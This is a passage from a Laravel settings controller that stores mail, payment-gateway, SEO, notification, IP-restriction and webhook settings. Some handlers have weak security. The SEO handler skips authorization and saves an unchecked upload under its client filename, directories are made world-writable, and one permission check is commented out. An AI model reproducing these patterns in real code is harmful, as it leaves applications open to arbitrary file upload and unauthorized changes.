KEY UPDATE `value` = VALUES(`value`) ', [ $data, $key, \Auth::user()->creatorId(), ] ); } } } } return redirect()->back()->with('success', 'Setting successfully updated.'); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function saveEmailSettings(Request $request) { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'super admin') { $request->validate( [ 'mail_driver' => 'required|string|max:255', 'mail_host' => 'required|string|max:255', 'mail_port' => 'required|string|max:255', 'mail_username' => 'required|string|max:255', 'mail_password' => 'required|string|max:255', 'mail_encryption' => 'required|string|max:255', 'mail_from_address' => 'required|string|max:255', 'mail_from_name' => 'required|string|max:255', ] ); if (\Auth::user()->type == 'company' || \Auth::user()->type == 'super admin') { $post = $request->all(); $settings = Utility::settings(); unset($post['_token']); foreach ($post as $key => $data) { if (in_array($key, array_keys($settings)) && !empty($data)) { if (!empty($data)) { \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $data, $key, \Auth::user()->creatorId(), ] ); } } } return redirect()->back()->with('success', __('Setting successfully updated.')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function recaptchaSettingStore(Request $request) { if (\Auth::user()->type == 'super admin') { $user = \Auth::user(); $rules = []; if ($request->recaptcha_module == 'yes') { $validator = \Validator::make( $request->all(), [ 'recaptcha_module' => 'required', 'google_recaptcha_key' => 'required|string|max:50', 'google_recaptcha_secret' => 'required|string|max:50', 'google_recaptcha_version' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } } $post = $request->all(); if (!isset($request->recaptcha_module)) { $post['recaptcha_module'] = 'no'; } unset($post['_token']); $settings = Utility::settings(); foreach ($post as $key => $data) { if (in_array($key, array_keys($settings)) && !empty($data)) { \DB::insert( 'insert into settings (`value`, `name`,`created_by`,`created_at`,`updated_at`) values (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $data, $key, \Auth::user()->creatorId(), date('Y-m-d H:i:s'), date('Y-m-d H:i:s'), ] ); } } return redirect()->back()->with('success', __('Recaptcha Settings updated successfully')); } else { return redirect()->back()->with('error', __('Something is wrong')); } } public function savePaymentSettings(Request $request) { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'super admin') { $request->validate( [ 'currency' => 'required|string|max:255', 'currency_symbol' => 'required|string|max:255', ] ); self::adminPaymentSettings($request); return redirect()->back()->with('success', __('Payment successfully updated.')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function companyIndex() { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'super admin') { $settings = Utility::settings(); return view('settings.company_settings', compact('settings', 'ips')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function saveCompanySettings(Request $request) { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'super admin') { $user = \Auth::user(); $request->validate( [ 'company_name' => 'required|string|max:255', 'company_address' => 'required', 'company_city' => 'required', 'company_state' => 'required', 'company_zipcode' => 'required', 'company_country' => 'required', 'company_telephone' => 'required', 'company_start_time' => 'required', 'company_end_time' => 'required', 'timezone' => 'required', // 'company_email' => 'required', // 'company_email_from_name' => 'required|string', ] ); $post = $request->all(); if (!isset($request->ip_restrict)) { $post['ip_restrict'] = 'off'; } unset($post['_token']); $settings = Utility::settings(); foreach ($post as $key => $data) { if ((in_array($key, array_keys($settings)) && $data !== null)) { \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ // $settings, $data, $key, \Auth::user()->creatorId(), ] ); } } return redirect()->back()->with('success', __('Setting successfully updated.')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function saveSystemSettings(Request $request) { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'super admin') { $user = \Auth::user(); $request->validate( [ 'site_currency' => 'required', ] ); $post = $request->all(); unset($post['_token']); $settings = Utility::settings(); foreach ($post as $key => $data) { if (in_array($key, array_keys($settings)) && !empty($data)) { \DB::insert( 'insert into settings (`value`, `name`,`created_by`,`created_at`,`updated_at`) values (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $data, $key, \Auth::user()->creatorId(), date('Y-m-d H:i:s'), date('Y-m-d H:i:s'), ] ); } } return redirect()->back()->with('success', __('Setting successfully updated.')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function saveGoogleCalenderSettings(Request $request) { if (isset($request->is_enabled) && $request->is_enabled == 'on') { $validator = \Validator::make( $request->all(), [ // 'google_calender_id' => 'required', // 'google_calender_json_file' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $post['is_enabled'] = $request->is_enabled; } else { $post['is_enabled'] = 'off'; } if ($request->google_calender_json_file) { // $dir = storage_path() . '/app/google-calendar'; $dir = storage_path() . '/' . md5(time()); if (!is_dir($dir)) { File::makeDirectory($dir, $mode = 0777, true, true); } $file_name = $request->google_calender_json_file->getClientOriginalName(); // $file_path = md5(time()) . "." . $request->google_calender_json_file->getClientOriginalExtension(); $file_path = md5(time()) . "/" . md5(time()) . "." . $request->google_calender_json_file->getClientOriginalExtension(); $file = $request->file('google_calender_json_file'); $file->move($dir, $file_path); $post['google_calender_json_file'] = $file_path; } if ($request->google_clender_id) { $post['google_clender_id'] = $request->google_clender_id; foreach ($post as $key => $data) { \DB::insert( 'insert into settings (`value`, `name`,`created_by`,`created_at`,`updated_at`) values (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $data, $key, \Auth::user()->creatorId(), date('Y-m-d H:i:s'), date('Y-m-d H:i:s'), ] ); } } return redirect()->back()->with('success', 'Storage setting successfully updated.'); } public function SeoSettings(Request $request) { $validator = \Validator::make( $request->all(), [ 'meta_title' => 'required|string', 'meta_description' => 'required|string', 'meta_image' => 'required|file', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $dir = storage_path() . '/uploads' . '/meta'; if (!is_dir($dir)) { File::makeDirectory($dir, $mode = 0777, true, true); } $file_name = $request->meta_image->getClientOriginalName(); $file_path = $request->meta_image->getClientOriginalName(); $file = $request->file('meta_image'); $file->move($dir, $file_path); $post['meta_title'] = $request->meta_title; $post['meta_description'] = $request->meta_description; $post['meta_image'] = $file_path; foreach ($post as $key => $data) { \DB::insert( 'insert into settings (`value`, `name`,`created_by`,`created_at`,`updated_at`) values (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $data, $key, \Auth::user()->id, date('Y-m-d H:i:s'), date('Y-m-d H:i:s'), ] ); } return redirect()->back()->with('success', 'SEO setting successfully save.'); } public function zoomSetting(request $request) { if (\Auth::user()->type == 'company') { if (!empty($request->zoom_account_id) || !empty($request->zoom_client_id) || !empty($request->zoom_client_secret)) { $post = $request->all(); $settings = Utility::settings(); foreach ($post as $key => $data) { if (in_array($key, array_keys($settings)) && !empty($data)) { \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $data, $key, \Auth::user()->creatorId(), ] ); } } } } return redirect()->back()->with('success', __('Zoom key succesfully added .')); } public function updateEmailStatus($name) { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'super admin') { $emailNotification = \DB::table('settings')->where('name', '=', $name)->where('created_by', \Auth::user()->creatorId())->first(); if (empty($emailNotification)) { \DB::insert( 'insert into settings (`value`, `name`,`created_by`,`created_at`,`updated_at`) values (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ 0, $name, \Auth::user()->creatorId(), date('Y-m-d H:i:s'), date('Y-m-d H:i:s'), ] ); } else { if ($emailNotification->value == 1) { $affected = \DB::table('settings')->where('name', $name)->update(['value' => 0]); } else { $affected = \DB::table('settings')->where('name', $name)->update(['value' => 1]); } } } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function savePusherSettings(Request $request) { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'super admin') { $user = \Auth::user(); $request->validate( [ 'pusher_app_id' => 'required', 'pusher_app_key' => 'required', 'pusher_app_secret' => 'required', 'pusher_app_cluster' => 'required', ] ); $post = $request->all(); unset($post['_token']); $settings = Utility::settings(); foreach ($post as $key => $data) { if (in_array($key, array_keys($settings)) && !empty($data)) { \DB::insert( 'insert into settings (`value`, `name`,`created_by`,`created_at`,`updated_at`) values (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $data, $key, \Auth::user()->creatorId(), date('Y-m-d H:i:s'), date('Y-m-d H:i:s'), ] ); } } return redirect()->back()->with('success', __('Pusher successfully updated.')); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function saveBusinessSettings(Request $request) { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'super admin') { $user = \Auth::user(); if ($request->company_logo) { $request->validate( [ 'company_logo' => 'image|mimes:png|max:20480', ] ); $logoName = $user->id . '_dark_logo.png'; $dir = 'uploads/logo/'; $validation = [ 'mimes:' . 'png', 'max:' . '20480', ]; $path = Utility::upload_file($request, 'company_logo', $logoName, $dir, $validation); if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $logoName, 'company_logo', \Auth::user()->creatorId(), ] ); } if ($request->company_logo_light) { $request->validate( [ 'company_logo_light' => 'image|mimes:png|max:20480', ] ); $logoName = $user->id . '_light_logo.png'; $dir = 'uploads/logo/'; $validation = [ 'mimes:' . 'png', 'max:' . '20480', ]; $path = Utility::upload_file($request, 'company_logo_light', $logoName, $dir, $validation); // $company_logo_light = !empty($request->company_logo_light) ? $logoName : 'logo-light.png'; \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $logoName, 'company_logo_light', \Auth::user()->creatorId(), ] ); if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } if ($request->company_favicon) { $request->validate( [ 'company_favicon' => 'image|mimes:png|max:20480', ] ); $favicon = $user->id . '_favicon.png'; $dir = 'uploads/logo/'; $validation = [ 'mimes:' . 'png', 'max:' . '20480', ]; $path = Utility::upload_file($request, 'company_favicon', $favicon, $dir, $validation); $company_favicon = !empty($request->company_favicon) ? $favicon : 'favicon.png'; \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $favicon, 'company_favicon', \Auth::user()->creatorId(), ] ); if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->back()->with('error', __($path['msg'])); } } if (!empty($request->title_text) || !empty($request->metakeyword) || !empty($request->metadesc) || !empty($request->theme_color) || !empty($request->cust_theme_bg) || !empty($request->cust_darklayout) || !empty($request->SITE_RTL)) { $post = $request->all(); if (!isset($request->cust_darklayout)) { $post['cust_darklayout'] = 'off'; } if (!isset($request->cust_theme_bg)) { $post['cust_theme_bg'] = 'off'; } if (!isset($request->SITE_RTL)) { $post['SITE_RTL'] = 'off'; } if (isset($request->theme_color) && $request->color_flag == 'false') { $post['theme_color'] = $request->theme_color; } else { $post['theme_color'] = $request->custom_color; } $settings = Utility::settings(); unset($post['_token'], $post['company_logo'], $post['company_small_logo'], $post['company_logo_light'], $post['company_favicon'], $post['custom_color']); $settings = Utility::settings(); foreach ($post as $key => $data) { if (in_array($key, array_keys($settings)) && !empty($data)) { \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', [ $data, $key, \Auth::user()->creatorId(), ] ); } } } return redirect()->back()->with('success', 'Setting successfully updated.'); } else { return redirect()->back()->with('error', 'Permission denied.'); } } public function slack(Request $request) { $post = []; $post['slack_webhook'] = $request->input('slack_webhook'); $post['monthly_payslip_notification'] = $request->has('monthly_payslip_notification') ? $request->input('monthly_payslip_notification') : 0; $post['award_notification'] = $request->has('award_notification') ? $request->input('award_notification') : 0; $post['Announcement_notification'] = $request->has('Announcement_notification') ? $request->input('Announcement_notification') : 0; $post['Holiday_notification'] = $request->has('Holiday_notification') ? $request->input('Holiday_notification') : 0; $post['ticket_notification'] = $request->has('ticket_notification') ? $request->input('ticket_notification') : 0; $post['event_notification'] = $request->has('event_notification') ? $request->input('event_notification') : 0; $post['meeting_notification'] = $request->has('meeting_notification') ? $request->input('meeting_notification') : 0; $post['company_policy_notification'] = $request->has('company_policy_notification') ? $request->input('company_policy_notification') : 0; $post['contract_notification'] = $request->has('contract_notification') ? $request->input('contract_notification') : 0; if (isset($post) && !empty($post) && count($post) > 0) { $created_at = $updated_at = date('Y-m-d H:i:s'); foreach ($post as $key => $data) { DB::insert( 'INSERT INTO settings (`value`, `name`,`created_by`,`created_at`,`updated_at`) values (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`), `updated_at` = VALUES(`updated_at`) ', [ $data, $key, Auth::user()->id, $created_at, $updated_at, ] ); } } return redirect()->back()->with('success', __('Settings updated successfully.')); } public function telegram(Request $request) { $post = []; $post['telegram_accestoken'] = $request->input('telegram_accestoken'); $post['telegram_chatid'] = $request->input('telegram_chatid'); $post['telegram_monthly_payslip_notification'] = $request->has('telegram_monthly_payslip_notification') ? $request->input('telegram_monthly_payslip_notification') : 0; $post['telegram_award_notification'] = $request->has('telegram_award_notification') ? $request->input('telegram_award_notification') : 0; $post['telegram_Announcement_notification'] = $request->has('telegram_Announcement_notification') ? $request->input('telegram_Announcement_notification') : 0; $post['telegram_Holiday_notification'] = $request->has('telegram_Holiday_notification') ? $request->input('telegram_Holiday_notification') : 0; $post['telegram_ticket_notification'] = $request->has('telegram_ticket_notification') ? $request->input('telegram_ticket_notification') : 0; $post['telegram_event_notification'] = $request->has('telegram_event_notification') ? $request->input('telegram_event_notification') : 0; $post['telegram_meeting_notification'] = $request->has('telegram_meeting_notification') ? $request->input('telegram_meeting_notification') : 0; $post['telegram_company_policy_notification'] = $request->has('telegram_company_policy_notification') ? $request->input('telegram_company_policy_notification') : 0; $post['telegram_contract_notification'] = $request->has('telegram_contract_notification') ? $request->input('telegram_contract_notification') : 0; if (isset($post) && !empty($post) && count($post) > 0) { $created_at = $updated_at = date('Y-m-d H:i:s'); foreach ($post as $key => $data) { DB::insert( 'INSERT INTO settings (`value`, `name`,`created_by`,`created_at`,`updated_at`) values (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`), `updated_at` = VALUES(`updated_at`) ', [ $data, $key, Auth::user()->id, $created_at, $updated_at, ] ); } } return redirect()->back()->with('success', __('Settings updated successfully.')); } public function twilio(Request $request) { $post = []; $post['twilio_sid'] = $request->input('twilio_sid'); $post['twilio_token'] = $request->input('twilio_token'); $post['twilio_from'] = $request->input('twilio_from'); $post['twilio_monthly_payslip_notification'] = $request->has('twilio_monthly_payslip_notification') ? $request->input('twilio_monthly_payslip_notification') : 0; $post['twilio_leave_approve_notification'] = $request->has('twilio_leave_approve_notification') ? $request->input('twilio_leave_approve_notification') : 0; $post['twilio_award_notification'] = $request->has('twilio_award_notification') ? $request->input('twilio_award_notification') : 0; $post['twilio_trip_notification'] = $request->has('twilio_trip_notification') ? $request->input('twilio_trip_notification') : 0; $post['twilio_announcement_notification'] = $request->has('twilio_announcement_notification') ? $request->input('twilio_announcement_notification') : 0; $post['twilio_ticket_notification'] = $request->has('twilio_ticket_notification') ? $request->input('twilio_ticket_notification') : 0; $post['twilio_event_notification'] = $request->has('twilio_event_notification') ? $request->input('twilio_event_notification') : 0; if (isset($post) && !empty($post) && count($post) > 0) { $created_at = $updated_at = date('Y-m-d H:i:s'); foreach ($post as $key => $data) { DB::insert( 'INSERT INTO settings (`value`, `name`,`created_by`,`created_at`,`updated_at`) values (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`), `updated_at` = VALUES(`updated_at`) ', [ $data, $key, Auth::user()->id, $created_at, $updated_at, ] ); } } return redirect()->back()->with('success', __('Settings updated successfully.')); } public function testMail(Request $request) { $user = \Auth::user(); // if($user->can('manage-setting')) // { $data = []; $data['mail_driver'] = $request->mail_driver; $data['mail_host'] = $request->mail_host; $data['mail_port'] = $request->mail_port; $data['mail_username'] = $request->mail_username; $data['mail_password'] = $request->mail_password; $data['mail_encryption'] = $request->mail_encryption; $data['mail_from_address'] = $request->mail_from_address; $data['mail_from_name'] = $request->mail_from_name; return view('setting.test_mail', compact('data')); // } // else // { // return response()->json(['error' => __('Permission Denied.')], 401); // } // return view('setting.test_mail'); } public function testSendMail(Request $request) { $validator = \Validator::make( $request->all(), [ 'email' => 'required|email', 'mail_driver' => 'required', 'mail_host' => 'required', 'mail_port' => 'required', 'mail_username' => 'required', 'mail_password' => 'required', 'mail_from_address' => 'required', 'mail_from_name' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return response()->json( [ 'is_success' => false, 'message' => $messages->first(), ] ); } try { config( [ 'mail.driver' => $request->mail_driver, 'mail.host' => $request->mail_host, 'mail.port' => $request->mail_port, 'mail.encryption' => $request->mail_encryption, 'mail.username' => $request->mail_username, 'mail.password' => $request->mail_password, 'mail.from.address' => $request->mail_from_address, 'mail.from.name' => $request->mail_from_name, ] ); Mail::to($request->email)->send(new TestMail()); } catch (\Exception $e) { return response()->json( [ 'is_success' => false, 'message' => $e->getMessage(), ] ); } return response()->json( [ 'is_success' => true, 'message' => __('Email send Successfully'), ] ); } public function createIp() { return view('restrict_ip.create'); } public function storeIp(Request $request) { if (\Auth::user()->can('Manage Company Settings')) { $validator = \Validator::make( $request->all(), [ 'ip' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $ip = new IpRestrict(); $ip->ip = $request->ip; $ip->created_by = \Auth::user()->creatorId(); $ip->save(); return redirect()->back()->with('success', __('IP successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function editIp($id) { $ip = IpRestrict::find($id); return view('restrict_ip.edit', compact('ip')); } public function updateIp(Request $request, $id) { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'super admin') { $validator = \Validator::make( $request->all(), [ 'ip' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $ip = IpRestrict::find($id); $ip->ip = $request->ip; $ip->save(); return redirect()->back()->with('success', __('IP successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroyIp($id) { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'super admin') { $ip = IpRestrict::find($id); $ip->delete(); return redirect()->back()->with('success', __('IP successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function createWebhook() { if (\Auth::user()->can('Create Webhook')) { $modules = Webhook::$modules; $methods = Webhook::$methods; return view('webhook_settings.create', compact('modules', 'methods')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function storeWebhook(Request $request) { if (\Auth::user()->can('Create Webhook')) { $validator = \Validator::make( $request->all(), [ 'module' => 'required', 'method' => 'required', 'url' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $webhook = new Webhook(); $webhook->module = $request->module; $webhook->method = $request->method; $webhook->url = $request->url; $webhook->created_by = \Auth::user()->creatorId(); $webhook->save(); return redirect()->back()->with('success', __('Webhook successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function editWebhook($id) { if (\Auth::user()->can('Edit Webhook')) { $webhook = Webhook::find($id); $modules = Webhook::$modules; $methods = Webhook::$methods; return view('webhook_settings.edit', compact('webhook', 'modules', 'methods')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function updateWebhook(Request $request, $id) { if (\Auth::user()->can('Edit Webhook')) { $validator = \Validator::make( $request->all(), [ 'module' => 'required', 'method' => 'required', 'url' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $webhook = Webhook::find($id); $webhook->module = $request->module; $webhook->method = $request->method; $webhook->url = $request->url; $webhook->save(); return redirect()->back()->with('success', __('Webhook successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroyWebhook($id) { if (\Auth::user()->can('Delete Webhook')) { $webhook = Webhook::find($id); $webhook->delete(); return redirect()->back()->with('success', __('Webhook successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function adminPaymentSettings($request) { if (isset($request->currency) && isset($request->currency_symbol)) { $request->validate( [ 'currency' => 'required|string|max:255', 'currency_symbol' => 'required|string|max:255', ] ); $post['currency'] = $request->currency; $post['currency_symbol'] = $request->currency_symbol; } else { $post['currency'] = 'USD'; $post['currency_symbol'] = '$'; } if (isset($request->is_manually_enabled) && $request->is_manually_enabled == 'on') { $post['is_manually_enabled'] = $request->is_manually_enabled; } else { $post['is_manually_enabled'] = 'off'; } if (isset($request->is_banktransfer_enabled) && $request->is_banktransfer_enabled == 'on') { $request->validate( [ 'bank_details' => 'required', ] ); $post['is_banktransfer_enabled'] = $request->is_banktransfer_enabled; $post['bank_details'] = $request->bank_details; } else { $post['is_banktransfer_enabled'] = 'off'; } if (isset($request->is_stripe_enabled) && $request->is_stripe_enabled == 'on') { $request->validate( [ 'stripe_key' => 'required|string|max:255', 'stripe_secret' => 'required|string|max:255', ] ); $post['is_stripe_enabled'] = $request->is_stripe_enabled; $post['stripe_secret'] = $request->stripe_secret; $post['stripe_key'] = $request->stripe_key; } else { $post['is_stripe_enabled'] = 'off'; } if (isset($request->is_paypal_enabled) && $request->is_paypal_enabled == 'on') { $request->validate( [ 'paypal_mode' => 'required', 'paypal_client_id' => 'required', 'paypal_secret_key' => 'required', ] ); $post['is_paypal_enabled'] = $request->is_paypal_enabled; $post['paypal_mode'] = $request->paypal_mode; $post['paypal_client_id'] = $request->paypal_client_id; $post['paypal_secret_key'] = $request->paypal_secret_key; } else { $post['is_paypal_enabled'] = 'off'; } if (isset($request->is_paystack_enabled) && $request->is_paystack_enabled == 'on') { $request->validate( [ 'paystack_public_key' => 'required|string', 'paystack_secret_key' => 'required|string', ] ); $post['is_paystack_enabled'] = $request->is_paystack_enabled; $post['paystack_public_key'] = $request->paystack_public_key; $post['paystack_secret_key'] = $request->paystack_secret_key; } else { $post['is_paystack_enabled'] = 'off'; } if (isset($request->is_flutterwave_enabled) && $request->is_flutterwave_enabled == 'on') { $request->validate( [ 'flutterwave_public_key' => 'required|string', 'flutterwave_secret_key' => 'required|string', ] ); $post['is_flutterwave_enabled'] = $request->is_flutterwave_enabled; $post['flutterwave_public_key'] = $request->flutterwave_public_key; $post['flutterwave_secret_key'] = $request->flutterwave_secret_key; } else { $post['is_flutterwave_enabled'] = 'off'; } if (isset($request->is_razorpay_enabled) && $request->is_razorpay_enabled == 'on') { $request->validate( [ 'razorpay_public_key' => 'required|string', 'razorpay_secret_key' => 'required|string', ] ); $post['is_razorpay_enabled'] = $request->is_razorpay_enabled; $post['razorpay_public_key'] = $request->razorpay_public_key; $post['razorpay_secret_key'] = $request->razorpay_secret_key; } else { $post['is_razorpay_enabled'] = 'off'; } if (isset($request->is_mercado_enabled) && $request->is_mercado_enabled == 'on') { $request->validate( [ 'mercado_mode' => 'required', 'mercado_access_token' => 'required|string', ] ); $post['is_mercado_enabled'] = $request->is_mercado_enabled; $post['mercado_mode'] = $request->mercado_mode; $post['mercado_access_token'] = $request->mercado_access_token; } else { $post['is_mercado_enabled'] = 'off'; } if (isset($request->is_paytm_enabled) && $request->is_paytm_enabled == 'on') { $request->validate( [ 'paytm_mode' => 'required', 'paytm_merchant_id' => 'required|string', 'paytm_merchant_key' => 'required|string', 'paytm_industry_type' => 'required|string', ] ); $post['is_paytm_enabled'] = $request->is_paytm_enabled; $post['paytm_mode'] = $request->paytm_mode; $post['paytm_merchant_id'] = $request->paytm_merchant_id; $post['paytm_merchant_key'] = $request->paytm_merchant_key; $post['paytm_industry_type'] = $request->paytm_industry_type; } else { $post['is_paytm_enabled'] = 'off'; } if (isset($request->is_mollie_enabled) && $request->is_mollie_enabled == 'on') { $request->validate( [ 'mollie_api_key' => 'required|string', 'mollie_profile_id' => 'required|string', 'mollie_partner_id' => 'required', ] ); $post['is_mollie_enabled'] = $request->is_mollie_enabled; $post['mollie_api_key'] = $request->mollie_api_key; $post['mollie_profile_id'] = $request->mollie_profile_id; $post['mollie_partner_id'] = $request->mollie_partner_id; } else { $post['is_mollie_enabled'] = 'off'; } if (isset($request->is_skrill_enabled) && $request->is_skrill_enabled == 'on') { $request->validate( [ 'skrill_email' => 'required|email', ] ); $post['is_skrill_enabled'] = $request->is_skrill_enabled; $post['skrill_email'] = $request->skrill_email; } else { $post['is_skrill_enabled'] = 'off'; } if (isset($request->is_coingate_enabled) && $request->is_coingate_enabled == 'on') { $request->validate( [ 'coingate_mode' => 'required|string', 'coingate_auth_token' => 'required|string', ] ); $post['is_coingate_enabled'] = $request->is_coingate_enabled; $post['coingate_mode'] = $request->coingate_mode; $post['coingate_auth_token'] = $request->coingate_auth_token; } else { $post['is_coingate_enabled'] = 'off'; } if (isset($request->is_paymentwall_enabled) && $request->is_paymentwall_enabled == 'on') { $request->validate( [ 'paymentwall_public_key' => 'required|string', 'paymentwall_secret_key' => 'required|string', ] ); $post['is_paymentwall_enabled'] = $request->is_paymentwall_enabled; $post['paymentwall_public_key'] = $request->paymentwall_public_key; $post['paymentwall_secret_key'] = $request->paymentwall_secret_key; } else { $post['is_paymentwall_enabled'] = 'off'; } if (isset($request->is_toyyibpay_enabled) && $request->is_toyyibpay_enabled == 'on') { $request->validate( [ 'toyyibpay_category_code' => 'required|string', 'toyyibpay_secret_key' => 'required|string', ] ); $post['is_toyyibpay_enabled'] = $request->is_toyyibpay_enabled; $post['toyyibpay_category_code'] = $request->toyyibpay_category_code; $post['toyyibpay_secret_key'] = $request->toyyibpay_secret_key; } else { $post['is_toyyibpay_enabled'] = 'off'; } if (isset($request->is_payfast_enabled) && $request->is_payfast_enabled == 'on') { $request->validate( [ 'payfast_mode' => 'required', 'payfast_merchant_id' => 'required|string', 'payfast_merchant_key' => 'required|string', 'payfast_signature' => 'required|string', ] ); $post['is_payfast_enabled'] = $request->is_payfast_enabled; $post['payfast_mode'] = $request->payfast_mode; $post['payfast_merchant_id'] = $request->payfast_merchant_id; $post['payfast_merchant_key'] = $request->payfast_merchant_key; $post['payfast_signature'] = $request->payfast_signature; } else { $post['is_payfast_enabled'] = 'off'; } if (isset($request->is_iyzipay_enabled) && $request->is_iyzipay_enabled == 'on') { $request->validate( [ 'iyzipay_mode' => 'required', 'iyzipay_public_key' => 'required|string', 'iyzipay_secret_key' => 'required|string', ] ); $post['is_iyzipay_enabled'] = $request->is_iyzipay_enabled; $post['iyzipay_mode'] = $request->iyzipay_mode; $post['iyzipay_public_key'] = $request->iyzipay_public_key; $post['iyzipay_secret_key'] = $request->iyzipay_secret_key; } else { $post['is_iyzipay_enabled'] = 'off'; } if (isset($request->is_sspay_enabled) && $request->is_sspay_enabled == 'on') { $request->validate( [ 'sspay_category_code' => 'required|string', 'sspay_secret_key' => 'required|string', ] ); $post['is_sspay_enabled'] = $request->is_sspay_enabled; $post['sspay_category_code'] = $request->sspay_category_code; $post['sspay_secret_key'] = $request->sspay_secret_key; } else { $post['is_sspay_enabled'] = 'off'; } if (isset($request->is_paytab_enabled) && $request->is_paytab_enabled == 'on') { $request->validate( [ 'paytab_profile_id' => 'required|string', 'paytab_server_key' => 'required|string', 'paytab_region' => 'required|string', ] ); $post['is_paytab_enabled'] = $request->is_paytab_enabled; $post['paytab_profile_id'] = $request->paytab_profile_id; $post['paytab_server_key'] = $request->paytab_server_key; $post['paytab_region'] = $request->paytab_region; } else { $post['is_paytab_enabled'] = 'off'; } if (isset($request->is_benefit_enabled) && $request->is_benefit_enabled == 'on') { $request->validate( [ 'benefit_api_key' => 'required|string', 'benefit_secret_key' => 'required|string', ] ); $post['is_benefit_enabled'] = $request->is_benefit_enabled; $post['benefit_api_key'] = $request->benefit_api_key; $post['benefit_secret_key'] = $request->benefit_secret_key; } else { $post['is_benefit_enabled'] = 'off'; } if (isset($request->is_cashfree_enabled) && $request->is_cashfree_enabled == 'on') { $request->validate( [ 'cashfree_api_key' => 'required|string', 'cashfree_secret_key' => 'required|string', ] ); $post['is_cashfree_enabled'] = $request->is_cashfree_enabled; $post['cashfree_api_key'] = $request->cashfree_api_key; $post['cashfree_secret_key'] = $request->cashfree_secret_key; } else { $post['is_cashfree_enabled'] = 'off'; } if (isset($request->is_aamarpay_enabled) && $request->is_aamarpay_enabled == 'on') { $request->validate( [ 'aamarpay_store_id' => 'required|string', 'aamarpay_signature_key' => 'required|string', 'aamarpay_description' => 'required|string', ] ); $post['is_aamarpay_enabled'] = $request->is_aamarpay_enabled; $post['aamarpay_store_id'] = $request->aamarpay_store_id; $post['aamarpay_signature_key'] = $request->aamarpay_signature_key; $post['aamarpay_description'] = $request->aamarpay_description; } else { $post['is_aamarpay_enabled'] = 'off'; } if (isset($request->is_paytr_enabled) && $request->is_paytr_enabled == 'on') { $request->validate( [ 'paytr_merchant_id' => 'required|string', 'paytr_merchant_key' => 'required|string', 'paytr_merchant_salt' => 'required|string', ] ); $post['is_paytr_enabled'] = $request->is_paytr_enabled; 